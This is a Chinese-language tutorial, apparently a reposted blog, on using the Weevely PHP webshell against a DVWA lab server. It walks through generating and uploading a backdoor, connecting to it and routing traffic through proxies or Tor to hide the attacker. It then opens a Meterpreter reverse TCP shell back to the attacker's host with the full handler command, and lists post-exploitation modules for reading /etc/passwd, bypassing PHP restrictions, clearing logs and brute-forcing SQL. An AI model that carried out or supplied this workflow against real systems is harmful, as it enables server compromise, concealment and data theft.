Web后门工具weevley

weevley简介

Weevely是一款开源项目.只支持(PHP) Webshell,可以模拟类似Telnet的连接,Weevely支持HTTP和SOCKS代理并使用Tor匿名网络。开源 https://github.com/epinna/weevely3

演示

靶机 dvwa  Vulnerability: File Upload low

生成后门

weevely generate <password 设置密码> <path 路径可以指定绝对路径> 
weevely generate 123456 test.php
Generated 'test.php' with password '123456' of 742 byte size.

生成的test.php后门上传到服务器  复制URL链接

weevely http://192.168.1.108/dvwa/hackable/uploads/test.php 123456 
[+] weevely 3.6.2

[+] Target:	192.168.1.108
[+] Session:	/root/.weevely/sessions/192.168.1.108/test_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

链接成功

~# weevely http://192.168.1.108/dvwa/hackable/uploads/test.php 123456 
[+] weevely 3.6.2

[+] Target:	[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads
[+] Session:	/root/.weevely/sessions/192.168.1.108/test_0.session
[+] Shell:	System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ls
............................
[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $

可以设置代理 来隐藏自己 支持http,socks,tor .  内网环境 设置代理无法链接,没有搭建环境

#http代理设置
set proxy http://10.0.0.0:8080
system_info -info client_ip #查看IP

#socks5代理设置
set proxy socks5://127.0.0.1:9050 #使用tor 
system_info -info client_ip #查看IP

还可把目标设置为代理
net_proxy

tab键 显示可使用的模块

[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ 
audit_disablefunctionbypass  grep
audit_etcpasswd              gunzip
audit_filesystem             gzip
audit_phpconf                help
audit_suidsgid               hostname
backdoor_meterpreter         ifconfig
..................................

audit_disablefunctionbypass 是否可以是执行shell 如果不能此模块将自动上传.htaccess

[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ audit_disablefunctionbypass
[-][disablefunctionbypass] Error, you can already execute system commands
[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ id
uid=2(daemon) gid=2(daemon) groups=2(daemon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

backdoor_meterpreter模块生成meterpreter会话

[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ audit_disablefunctionbypass
[-][disablefunctionbypass] Error, you can already execute system commands
[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ backdoor_meterpreter --help
usage: backdoor_meterpreter [-h] [-msfvenom-path MSFVENOM_PATH]
                            [-payload PAYLOAD] [-host HOST] [-lhost LHOST]
                            [-port PORT] [-rpath RPATH]

Start a meterpreter session.

optional arguments:
  -h, --help            show this help message and exit
  -msfvenom-path MSFVENOM_PATH
                        Msvenom command
  -payload PAYLOAD      Msfconsole command
  -host HOST            Remote host
  -lhost LHOST          Local host
  -port PORT            Port
  -rpath RPATH          Upload non PHP payloads in the first writable folder
                        starting from rpath
[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ 
[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $ backdoor_meterpreter -payload php/meterpreter/reverse_tcp -lhost 192.168.1.105
[-][meterpreter] Make sure the listener is running on another terminal as below
msfconsole -x "use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 192.168.1.105; set PORT 4444; run"
[email protected]:/opt/lampp/htdocs/dvwa/hackable/uploads $

msf接收到反弹的shell

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.105:4444 
[*] Sending stage (37775 bytes) to 192.168.1.108

meterpreter > shell 
Process 24176 created.
Channel 0 created.
id
uid=2(daemon) gid=2(daemon) groups=2(daemon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

可使用的模块

扫描二维码关注公众号,回复: 4045493 查看本文章
#来自google翻译 
audit_filesystem	审核文件系统的弱权限。
audit_suidsgid	查找具有SUID或SGID标志的文件。
audit_disablefunctionbypass	使用mod_cgi和.htaccess绕过disable_function限制。
audit_etcpasswd	使用不同的技术读取/ etc / passwd。
audit_phpconf	审核PHP配置。
shell_sh	执行shell命令。
shell_su	用su执行命令。
shell_php	执行PHP命令。
system_extensions	收集PHP和Web服务器扩展列表。
system_info	收集系统信息。
system_procs	列出正在运行的进
backdoor_reversetcp	执行反向TCP shell。
backdoor_tcp	在TCP端口上生成shell。
backdoor_meterpreter	启动一个meterpreter会话。
bruteforce_sql	Bruteforce SQL数据库。
file_gzip	压缩或扩展gzip文件。
file_clearlog	从文件中删除字符串。
file_check	获取文件的属性和权限。
file_upload	将文件上传到远程文件系统。
file_webdownload	下载URL。
file_tar	压缩或扩展tar档案。
file_download	从远程文件系统下载文件。
file_bzip2	压缩或扩展bzip2文件。
file_edit	在本地编辑器上编辑远程文件。
file_grep	打印与多个文件中的模式匹配的行。
file_ls	列出目录内容。
file_cp	复制单个文件。
file_rm	删除远程文件。
file_upload2web	自动将文件上传到Web文件夹并获取相应的URL。
file_zip	压缩或扩展zip文件。
file_touch	更改文件时间戳。
file_find	查找具有给定名称和属性的文件。
file_mount	使用HTTPfs挂载远程文件系统。
file_enum	检查路径列表的存在和权限。
file_read	从远程文件系统中读取远程文件。
file_cd	更改当前工作目录。
sql_console	执行SQL查询或运行控制台。
sql_dump	多dbms mysqldump替换。
net_mail	发邮件。
net_phpproxy	在目标上安装PHP代理。
net_curl	执行类似curl的HTTP请求。
net_proxy	运行本地代理以透过目标进行HTTP / HTTPS浏览。
net_scan	TCP端口扫描。
net_ifconfig	获取网络接口地址。

猜你喜欢

转载自blog.csdn.net/freegotocpp/article/details/83510641
今日推荐